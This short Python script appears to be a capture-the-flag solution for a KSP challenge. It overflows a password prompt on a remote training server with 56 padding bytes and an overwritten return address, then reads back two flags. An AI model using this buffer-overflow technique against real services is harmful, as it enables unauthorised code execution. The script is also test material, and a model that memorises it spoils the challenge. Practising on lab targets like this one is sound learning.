#!/usr/bin/python3
import socket
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

flagnum = int(input())

s.connect(("vm.kam.mff.cuni.cz", 13337))

s.recv(len("Zadejte heslo: "))

s.sendall(b"a" * 56 + 0x0000000000401215.to_bytes(8, 'little') + b"\n")

flag1 = b""
c = b""
while c != b"}":
    c = s.recv(1)
    flag1+=c

s.recv(1) # Newline

flag2 = b""
c = b""
while c != b"}":
    c = s.recv(1)
    flag2+=c

if not b"ksp" in flag1 or not b"ksp" in flag2:
    print("Exploit failed", file=sys.stderr)
    exit(1)

if flagnum == 1:
    print(flag1.decode("ascii").strip())
else:
    print(flag2.decode("ascii").strip())